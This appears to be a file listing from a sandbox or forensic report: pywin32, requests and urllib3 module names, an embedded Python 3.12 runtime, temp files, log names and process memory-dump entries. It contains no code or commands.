__init__.py
debug.py
error.py
framework.py
pydumper.py
pyscript.py
pyscript_rexec.py
scriptdispatch.py
pycom_blowing.gif
axsite.py
leakTest.py
testHost.py
testHost4Dbg.py
show_all_jobs.py
test_bits.py
__init__.py
ds_record.py
ds_test.py
__init__.py
filterDemo.py
ifiltercon.py
inetcon.py
MAPIStubLibrary-License.txt
__init__.py
mapisend.py
emsabtags.py
mapitags.py
mapiutil.py
__init__.py
pscon.py
testpropsys.py
IActiveDesktop.py
IFileOperationProgressSink.py
IShellLinkDataList.py
ITransferAdviseSink.py
IUniformResourceLocator.py
browse_for_folder.py
create_link.py
dump_link.py
explorer_browser.py
column_provider.py
context_menu.py
copy_hook.py
empty_volume_cache.py
folder_view.py
icon_handler.py
shell_view.py
shellexecuteex.py
viewstate.py
walk_shell_folders.py
shellcon.py
testSHFileOperation.py
testShellFolder.py
testShellItem.py
test_addtask.py
test_addtask_1.py
test_addtask_2.py
test_localsystem.py
wmi.py
RECORD
wmitest.cmd
wmitest.master.ini
wmitest.py
wmiweb.py
_imagingtk.pyi
RECORD
RECORD
RECORD
RECORD
__main__.py
intranges.py
RECORD
INSTALLER
RECORD
LICENSE
LICENSE
RECORD
RECORD
demoutils.py
RECORD
RECORD
__version__.py
_internal_utils.py
_types.py
api.py
auth.py
cookies.py
hooks.py
sessions.py
status_codes.py
structures.py
RECORD
__init__.py
_base_connection.py
_collections.py
_request_methods.py
connection.py
fetch.py
request.py
response.py
exceptions.py
fields.py
filepost.py
__init__.py
connection.py
probe.py
__init__.py
connection.py
proxy.py
response.py
ssl_match_hostname.py
ssltransport.py
util.py
wait.py
RECORD
License.txt
__init__.py
__init__.py
pip3.12.exe
pywin32_postinstall.py
pywin32_testall.py
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
_uuid.pyd
_wmi.pyd
get-pip.py
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python.exe
python.zip.downloading
python3.DLL
python312._pth
python312.dll
python312.zip
select.pyd
unicodedata.pyd
StartupProfileData-NonInteractive
prep_Activatable Class_Hermes_perf.cache
prep_Activatable Class_Hermes_perf.cache
microsoftwindows.client[1].xml
3654103c-05d5-40d4-9b49-6fb62c349558.tmp
TmpA579.tmp
__PSScriptPolicyTest_ych3can4.cts.psm1
b9c5jwi2
messages.json
svchost_d.log
svchost_d.log
svchost_d.log
svchost_d.log
svchost_d.log
tmp0kakdw6b
tmp0sfd5e4v
tmp0wljw13d
tmp121p30b9
tmp126clova
tmp18n0uf8w
tmp1bwypyd_
tmp1yltdop8
tmp20juljgu
tmp2et4yy70
tmp2m2av4b_
tmp2q22iyxb
tmp3lxge1uu
tmp44moa7rs
tmp48f2ila5
tmp4_7ruy8w
tmp4f3zzil2
tmp4qvflh_5
tmp58makbhf
tmp5dybucit
tmp646fvuh4
tmp6_icc4id
tmp6jwfrvk_
tmp6ks3fe0m
tmp77r3quom
tmp7i2vvt56
tmp7ouygy5y
tmp7p4ki5oe
tmp7qbnf22i
tmp83z7siml
tmp8chqcw5g
tmp9npgkrbf
tmp9xiydrsq
tmp9yfrh7eo
tmpaq9fwnyo
tmpara3z1ry
tmpb400o1mb
tmpb74q8pcq
tmpbegx17pu
tmpbhgeoail
tmpbptyjaa8
tmpbvlnxp_o
tmpcur8pp7o
tmpd50wv5wu
tmpd67adbni
tmpe2pf76e3
tmpegg5nopg
tmpejuxkyg3
cacert.pem
pip.zip
tmpfege3_lp
tmpg1n7qxza
tmpggf8zyg7
tmphsf54bge
tmphszz_hg2
tmphu87jn2o
tmpi23xlvwg
tmpiqjrnvq1
tmpj56atvfo
tmpjcdi07jt
tmpk3i5wgth
tmpkrzkz3df
tmpkt8dmg7z
tmpld5d4ri1
tmpln1aoem9
tmpmjop6zli
tmpmnymjlgd
tmpmy8rgpav
tmpmyixvnbt
tmpn98r9ex0
tmpnemjcmj1
tmpnfmarmn1
tmpp1991b01
tmppo0dz5e6
tmpqskpai6c
tmpqvwo5aqk
tmpr7480iy4
tmpr_3qg51n
tmprcznbhn4
tmprnslzu7a
tmprrpdsdic
tmps1b8x_hu
tmpshlb5lbx
tmpsrw91x71
tmpt7l_bohs
tmpt_u7aljw
tmptnv1m470
tmpu2sptjv2
tmpv32m41iq
tmpvu8f6h45
tmpwhn_9kcv
tmpwhya7b0g
tmpwmkac_x_
tmpx2ajvokp
tmpxyfyufc5
tmpy1645wru
tmpy8emv1fr
tmpy8o0du3a
tmpyryw62c8
4235c1e730e932e9b617c14d512b3a9517c66cb52d6ad83ff70b7620.body
memory/756-22916-0x000001A395280000-0x000001A3952A0000-memory.dmp
memory/756-22882-0x000001A3839A0000-0x000001A3839C0000-memory.dmp
memory/756-22883-0x000001A383EE0000-0x000001A383FE0000-memory.dmp
memory/756-22902-0x000001A383D00000-0x000001A383D20000-memory.dmp
memory/880-22032-0x000002559DE40000-0x000002559DEF2000-memory.dmp
memory/1244-22340-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22786-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-23157-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-23143-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-23131-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22080-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-23123-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-23114-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-23104-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-21998-0x000001EB649D0000-0x000001EB649F0000-memory.dmp
memory/1244-23087-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-23077-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-23046-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22296-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-23037-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22839-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22317-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22832-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22370-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22395-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22825-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22420-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22441-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22462-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22485-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22506-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22527-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22550-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22576-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22818-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22597-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22620-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22646-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22667-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22690-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22806-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22716-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22737-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22760-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/1244-22799-0x00007FF7D46D0000-0x00007FF7D4E80000-memory.dmp
memory/2084-23091-0x000001D4EE090000-0x000001D4EE142000-memory.dmp
memory/2132-21875-0x00007FFF40520000-0x00007FFF4063F000-memory.dmp
memory/2132-22790-0x00007FFF40520000-0x00007FFF4063F000-memory.dmp
memory/2132-22789-0x00007FFF474B0000-0x00007FFF47526000-memory.dmp
memory/2132-21876-0x00007FFF47400000-0x00007FFF4742B000-memory.dmp
memory/2132-22791-0x00007FFF47400000-0x00007FFF4742B000-memory.dmp
memory/2132-22792-0x00007FFF46C30000-0x00007FFF46CAD000-memory.dmp
memory/2132-21877-0x00007FFF46C30000-0x00007FFF46CAD000-memory.dmp
memory/2132-21874-0x00007FFF474B0000-0x00007FFF47526000-memory.dmp
memory/2656-23103-0x000001C272D10000-0x000001C272DC2000-memory.dmp
memory/2752-21904-0x00000245E90D0000-0x00000245E90F2000-memory.dmp
memory/2752-21909-0x00000245E9190000-0x00000245E919A000-memory.dmp
memory/2752-21908-0x00000245E91C0000-0x00000245E9272000-memory.dmp
memory/2752-21907-0x00000245E9170000-0x00000245E918E000-memory.dmp
memory/4756-22000-0x0000000002880000-0x00000000028F2000-memory.dmp
memory/4756-21999-0x00000000000F0000-0x0000000000158000-memory.dmp
memory/4756-22001-0x00000000028F0000-0x0000000002942000-memory.dmp
memory/4756-22002-0x0000000004D60000-0x0000000004DF2000-memory.dmp
memory/4756-22003-0x0000000004F00000-0x0000000004F4C000-memory.dmp
memory/4756-22048-0x0000000005500000-0x0000000005566000-memory.dmp
memory/5092-23145-0x00000296241C0000-0x0000029624272000-memory.dmp
memory/5460-21989-0x00007FF633BD0000-0x00007FF634297000-memory.dmp
memory/5728-22303-0x00007FFF71F70000-0x00007FFF71F72000-memory.dmp
memory/5728-22304-0x00007FF6E7D60000-0x00007FF6E8D60000-memory.dmp
memory/6020-23177-0x000002289EE90000-0x000002289EF42000-memory.dmp
memory/6256-21979-0x000002763BC10000-0x000002763BCC2000-memory.dmp
memory/6824-21952-0x0000026069960000-0x0000026069A12000-memory.dmp
memory/6952-22709-0x00007FF633BD0000-0x00007FF634297000-memory.dmp
memory/6952-22415-0x00007FF633BD0000-0x00007FF634297000-memory.dmp
memory/6952-22817-0x00007FF633BD0000-0x00007FF634297000-memory.dmp
memory/6952-22575-0x00007FF633BD0000-0x00007FF634297000-memory.dmp
memory/6952-23086-0x00007FF633BD0000-0x00007FF634297000-memory.dmp
memory/6952-23156-0x00007FF633BD0000-0x00007FF634297000-memory.dmp
memory/6952-22055-0x00007FF633BD0000-0x00007FF634297000-memory.dmp
memory/7048-23124-0x000001B61B950000-0x000001B61BFE1000-memory.dmp
memory/7048-23038-0x000001B61B950000-0x000001B61BFE1000-memory.dmp
memory/7076-22049-0x00000222C5D30000-0x00000222C5D4E000-memory.dmp